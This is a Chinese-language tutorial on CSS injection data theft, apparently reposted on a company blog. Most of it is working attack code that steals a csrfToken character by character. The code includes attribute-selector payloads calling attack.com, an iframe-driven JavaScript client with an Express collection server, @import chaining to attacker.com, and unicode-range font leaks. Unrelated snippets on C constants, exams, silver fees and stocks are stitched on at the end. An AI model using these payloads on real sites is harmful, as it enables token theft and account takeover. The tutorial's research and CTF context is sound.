CSS 注入 竊取標簽屬性數據
CSS中可以使用屬性選擇器,根據不同的屬性選擇標簽。比如下面CSS選擇含有a屬性且其值為abc的p標簽。
<style>p[a="abc"]{color:red;}</style><pa="abc">helloworld</p>
屬性選擇器還可以匹配值的一些特性,比如以XXX開頭、以XXX結尾等。
利用上面的性質我們可以用來竊取頁面標簽屬性中的數據。比如下面當csrfToken以某個字母開頭時,就可以通過 url() 通知攻擊者,從而竊取csrfToken的第一位的值。
<style>input[value^="0"]{background:url(http://attack.com/0);}input[value^="1"]{background:url(http://attack.com/1);}input[value^="2"]{background:url(http://attack.com/2);}...input[value^="Y"]{background:url(http://attack.com/Y);}input[value^="Z"]{background:url(http://attack.com/Z);}</style><inputname="csrfToken"value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">
第一位是Z,接著竊取第二位
<style>input[value^="Z0"]{background:url(http://attack.com/0);}...input[value^="ZZ"]{background:url(http://attack.com/Z);}</style><inputname="csrfToken"value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">
解決hidden
當然還有個問題, 當標簽 type=hidden
時瀏覽器是不允許我們設置background
的,這樣就無法觸發 url() 請求服務器。
解決方法之一是利用 ~ CSS的兄弟選擇器,選擇為后續所有兄弟節點設置background。
input[value^="Z"]~*{background:url(http://attack.com/Z);}
批量實現
當然,如果位數比較短且可能性比較少我們可以將其所有都列出來,但是通常都太多了,所以我們需要利用技巧批量得到。
假設目標存在css注入的網站為如下, 目標是竊取input標簽中的csrfToken值。
<!DOCTYPEhtml><html><head><title>CSSinjection</title></head><body><inputtype=hiddenname="csrfToken"value=<?=md5(date("h"))?>><inputtype=""name=""><style><?phpecho$_GET['css']?></style></body></html>
有iframe
當存在CSS注入的網站響應頭未被 X-Frame-Options
保護時, 我們可以創建一個惡意的頁面,利用js創建iframe包含該漏洞網站,利用css注入獲得一位csrfToken值后通過 url()
提交給服務器,服務器指示前端js繼續創建iframe竊取第二位值,繼續上面的操作,直到全部讀取完。當然這要求每次請求漏洞網站內容都不會變。
這里存在一個問題,服務器如何指示前端js構造css,就像我們上面舉得例子竊取到第一位為Z, 那么第二位的payload應該是Z開頭的。
下面的payload 來自這里 https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d
它的思路是前端js使用setTimeout定時請求服務器,服務器將css注入得到的token返回。
<html><style>#frames{visibility:hidden;}</style><body><pid="current"></p><pid="time_to_next"></p><pid="frames"></p></body><script>vuln_url='http://127.0.0.1:8084/vuln.php?css=';server_receive_token_url='http://127.0.0.1:8083/receive/';server_return_token_url='http://127.0.0.1:8083/return';chars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");known="";functiontest_char(known,chars){//Removealltheframesdocument.getElementById("frames").innerHTML="";//Appendthecharswiththeknowncharscss=build_css(chars.map(v=>known+v));//Createaniframetotrytheattack.If`X-Frame-Options`isblockingthisyoucoulduseanewtab...frame=document.createElement("iframe");frame.src=vuln_url+css;frame.style="visibility:hidden;";//gottabesneakysneakylikedocument.getElementById("frames").appendChild(frame);//in1seconds,aftertheiframeloads,checktoseeifwegotaresponseyetsetTimeout(function(){varoReq=newXMLHttpRequest();oReq.addEventListener("load",known_listener);oReq.open("GET",server_return_token_url);oReq.send();},1000);}functionbuild_css(values){css_payload="";for(varvalueinvalues){css_payload+="input[value^=\""+values[value]+"\"]~*{background-image:url("+server_receive_token_url+values[value]+")%3B}";//can'tuseanactualsemicolonbecausethathasameaninginaurl}returncss_payload;}functionknown_listener(){document.getElementById("current").innerHTML="CurrentToken:"+this.responseText;if(known!=this.responseText){known=this.responseText;test_char(known,chars);}else{known=this.responseText;alert("CSRFtokenis:"+known);}}test_char("",chars);</script></html>
服務器代碼是我配合它的payload寫得。
varexpress=require('express');varapp=express();varpath=require('path');vartoken="";app.get('/receive/:token',function(req,res){token=req.params.token;console.log(token)res.send('ok');});app.get('/return',function(req,res){res.send(token);});app.get('/client.html',function(req,res){res.sendFile(path.join(__dirname,'client.html'));})varserver=app.listen(8083,function(){varhost=server.address().addressvarport=server.address().portconsole.log("Exampleapplisteningathttp://%s:%s",host,port)})
還有 師傅 通過服務器將token寫入到cookie中, 定時查詢cookie是否改變來實現的。
還發現有師傅用websocket實現更優雅一些。 https://gist.github.com/cgvwzq/f7c55222fbde44fc686b17f745d0e1aa
無 iframe
https://github.com/dxa4481/cssInjection 這里介紹了一種無iframe注入的方法。
原理也很簡單,既然不能用iframe引入漏洞頁面,那么我們可以通過 window.open
不斷開啟一個新的窗口,也就可以完成上述類似的效果。當然這種方法得劫持用戶的點擊行為,否則瀏覽器會禁止開啟新窗口。
而且這篇文章還提出了無后臺服務器的方案,利用service workers
攔截客戶端請求將獲取到的token值同時存在本地localstorage中。
@import
利用 @import 在chrome中的特性,https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b 這篇文章提出的這種方法。這種方法有種好處就是 不會刷新頁面就可以拿到全部token 而且不需要iframe,但壞處就是只能用在chrome中,而且根據它的特性必須在樣式標簽頭部有注入才行。
除了常見的 <link>
標簽引入外部樣式,css還可以通過 @import
。
@import url(http://style.com/css.css);
但是 @import 必須在樣式表頭部最先聲明,并且分號是必須的。 @import
引入的樣式表會直接替換對應的內聯樣式。
chrome在實現上述效果時,在每次 @import 外部樣式表 返回后 都重新計算了一遍頁面的其他的樣式表,我們可以利用這個特性嵌套 @import 使用一個請求便獲取到整個token
這是他文章中的一個圖,很形象。
這圖假定要竊取的數據長度為3,第一次注入的css內容為 @import url(http://attacker.com/staging); ,它返回了
@import url(http://attacker.com/polling?len=0);
@import url(http://attacker.com/polling?len=1);
@import url(http://attacker.com/polling?len=2);
這時頁面又要獲取 @import url(http://attacker.com/polling?len=0);
樣式表,而它返回的是竊取token的payload。
當將已竊取數據發送到服務器后, @import url(http://attacker.com/polling?len=1);
才會響應。響應的是竊取的第二位數據的payload....
而且那篇文章還開源了一個工具利用這個漏洞,用起來非常簡單。
https://github.com/d0nutptr/sic
竊取標簽content數據
竊取標簽content數據相對來說就麻煩很多,去年xctf final就有一道題。
利用 unicode-range 猜測
根據https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html這位師傅的思路,可以通過指定 @font-face
的字體描述unicode-range
,當存在某個字符時就通知服務器。
<style>@font-face{font-family:poc;src:url(http://attacker.example.com/?A);/*fetched*/unicode-range:U+0041;}@font-face{font-family:poc;src:url(http://attacker.example.com/?B);/*fetchedtoo*/unicode-range:U+0042;}@font-face{font-family:poc;src:url(http://attacker.example.com/?C);/*notfetched*/unicode-range:U+0043;}#sensitive-information{font-family:poc;}</style><pid="sensitive-information">AB</p>
當然這只能知道含有那些字符,而且當字符一多就沒有意義了。不過這也是個不錯的思路,在某些特定情況下可能有用。
利用連字(Ligature)
去年xctf師傅們的 題解 用的就是這個方法。
連字簡而言之就是幾個字符的合體字,更多自行百度。在這里我們可以自己創建一個字體,其中所有字符寬度設為0,將 flag 這個連字的寬度設置非常大,此時指定標簽content中如果出現了flag
字符串就會因為寬度的原因出現滾動條,檢測出現滾動條時用 url() 請求服務器。
這樣我們就可以不斷向后猜測了,詳細的創建字體、payload 這里 已經提供了。
本文由 貴州做網站公司 整理發布,部分圖文來源于互聯網,如有侵權,請聯系我們刪除,謝謝!
c語言中正確的字符常量是用一對單引號將一個字符括起表示合法的字符常量。例如‘a’。數值包括整型、浮點型。整型可用十進制,八進制,十六進制。八進制前面要加0,后面...
2022年天津專場考試原定于3月19日舉行,受疫情影響確定延期,但目前延期后的考試時間推遲。 符合報名條件的考生,須在規定時間登錄招考資訊網(www.zha...
:喜歡聽,樂意看。指很受歡迎?!巴卣官Y料”喜聞樂見:[ xǐ wén lè jiàn ]詳細解釋1. 【解釋】:喜歡聽,樂意看。指很受歡迎。2. 【示例】:這是...
投資者在參與天通銀交易過程中,需要支付如下費用:點差、手續費、延期費、提貨費、交貨費等。點差:鉑金交易點差前一天結算價0.02% 白銀固定交易點差8元人民幣/千克。手續費:收取標準不超過成交金額的萬分之八,其中交易所收取萬分之三,其余部分由綜合會員收取。延期費:0.02%。提貨費:包括加工費、運輸費等,收取標準為每克14元人民幣;交貨費包括檢驗費、重鑄費等,收取標準為每克6元人民幣。提貨費、交貨費...
中國食用油上市公司有哪些中國食用油上市公司有:道道全(002852)、東凌國際(000893)、新賽股份(600540)、金健米業(600127)、中糧生化(000930)、中糧糖業(600737)、西王食品(000639)。1、道道全(002852)作為中國主要的菜籽油類產品專業生產企業之一,公司始終重視“道道全”品牌營銷戰略,堅持品牌化經營思路。目前公司的“...
利息調整怎么理解?通常情況下,我們說的利息調整指的是,按實際本金和實際利率計算的利息與按票面面值和票面利率計算的利息的差額。通俗的來說就是,實際利率和票面利率之前的差額。簡單來說,利息調整的計算依據就是根據實際利率下的攤余成本法來計算的。利息變動調整方式在降息或者加息的情況下,房貸利率調整有三種方式:1、一種是次年調,銀行利率調整后,次年1月1日開始執行新利率;2、一種是按年度調,從貸款人的貸款日...